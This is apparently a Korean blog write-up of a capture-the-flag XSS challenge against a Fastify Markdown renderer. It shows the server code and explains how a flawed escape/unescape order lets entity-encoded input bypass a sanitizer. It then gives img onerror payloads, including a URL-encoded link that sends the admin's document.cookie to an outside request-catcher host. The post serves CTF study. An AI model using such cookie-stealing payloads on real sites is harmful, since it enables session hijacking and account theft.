1. 개요
XSS 문제이다. Markdown 기능을 가지고 있는 웹 사이트다
2. 기능 분석
Markdown Demo ~~라고 되어 있는 부분에 문자열을 넣으면 마크다운으로 파싱해서 preview에 보여준다. 이 값들을 이스케이프해서 보여주는 것이 HTML이다. 코드를 확인해보자.
import fastify from "fastify";
import * as marked from "marked";
import path from "node:path";
const app = fastify();
app.register(await import("@fastify/static"), {
root: path.join(import.meta.dirname, "public"),
prefix: "/",
});
const sanitize = (unsafe) => unsafe.replaceAll("<", "<").replaceAll(">", ">");
const escapeHtml = (str) =>
str
.replaceAll("&", "&")
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll('"', """)
.replaceAll("'", "'");
const unescapeHtml = (str) =>
str
.replaceAll("&", "&")
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll(""", '"')
.replaceAll("'", "'");
app.get("/render", async (req, reply) => {
const markdown = sanitize(String(req.query.markdown));
if (markdown.length > 1024) {
return reply.status(400).send("Too long");
}
const escaped = escapeHtml(marked.parse(markdown));
const unescaped = unescapeHtml(escaped);
return { escaped, unescaped };
});
app.listen({ port: 3000, host: "0.0.0.0" });
3. 취약점 분석
코드를 보면 unescapeHtml()에서 & -> < -> > 등의 순으로 replace를 하고 있다. 따라서 <script>와 같이 입력하면 escapeHtml에 의해서 &lt;script&gt;가 된다. 이후 unescapeHtml을 거치면서 <script>가 된다. 자세한 과정은 아래와 같다
- <script>를 입력
- escapeHtml() 함수에 의해 &lt;script&gt;가 됨
- unescapeHtml() 함수의 replaceAll("&","&")로 인해 <script>가 됨
- unescapeHtml() 함수의 replaceAll("<")로 인해 <script>가 됨
- unescapeHtml() 함수의 replaceAll(">")로 인해 <script>가 됨
이렇게 입력하면 <>를 입력하지 않기 때문에 sanitize 함수를 우회하여 스크립트를 적용할 수 있다.
다만, script 태그로 xss를 시도하면 안된다. 그 이유는 template 태그 안에서는 스크립트를 실행할 수 없고, cloneNode()로 붙여 넣어지고 나서 스크립트가 실행되는 것을 기대해야된다. 하지만 스크립트에는 already started라는 플래그가 존재하고, 이 플래그가 없어야 스크립트가 실행된다. cloneNode()로 복사하는 시점에는 이미 already started라는 플래그가 생기기 때문에 스크립트 태그는 사용하지 못하는 것으로 보인다.
[참고]
https://stackoverflow.com/questions/28771542/why-dont-clonenode-script-tags-execute
그래서 img 태그의 이벤트 핸들러를 사용했다.
<img src=x onerror=alert(1)>
<img src=x onerror=location.href='https://tbbcxvh.request.dreamhack.games'>
위와 같이 사용하면 된다. 주목해야 할 점은 http 뒤에 :가 아니라 html 엔티티로 변환시켜 놨다는 것이다. marked.parse에 의해서 예상치 못한 값으로 변환된 것을 확인했다.
admin 페이지에서 전체 페이로드를 입력하면 flag를 얻을 수 있다. 주의해야할 것은 URL은 http://web:3000라는 것이다. 34.146.192.216 페이지에 보내도 다른 site이기 때문에 xss는 터지지만 쿠키가 담기지 않아 flag를 얻을 수 없다.
url encoding도 잊지 말자
http://web:3000/?markdown=%26lt%3Bimg%20src%3Dx%20onerror%3D%26quot%3Blocation%2Ehref%3D%26%23039%3Bhttps%26colon%3B%2F%2Ftbbcxvh%2Erequest%2Edreamhack%2Egames%3Fc%3D%26%23039%3B%2Econcat%28document%2Ecookie%29%3B%26quot%3B%26gt%3B
짜잔
IERAE{I_know_XSS_is_the_m0st_popular_vu1nerabili7y}
'분류 전 > CTF' 카테고리의 다른 글
[2024 IS_LAB CTF] meta-data 풀이 (0) | 2024.02.07 |
---|---|
[2024 IS_LAB CTF] Robots REVENGE 풀이 (0) | 2024.02.05 |
[2024 IS_LAB CTF] Under Construction 풀이 (0) | 2024.02.05 |
[2024 IS_LAB CTF] Robots 풀이 (0) | 2024.02.05 |
[Sunshine] beepboop 풀이 (0) | 2023.10.14 |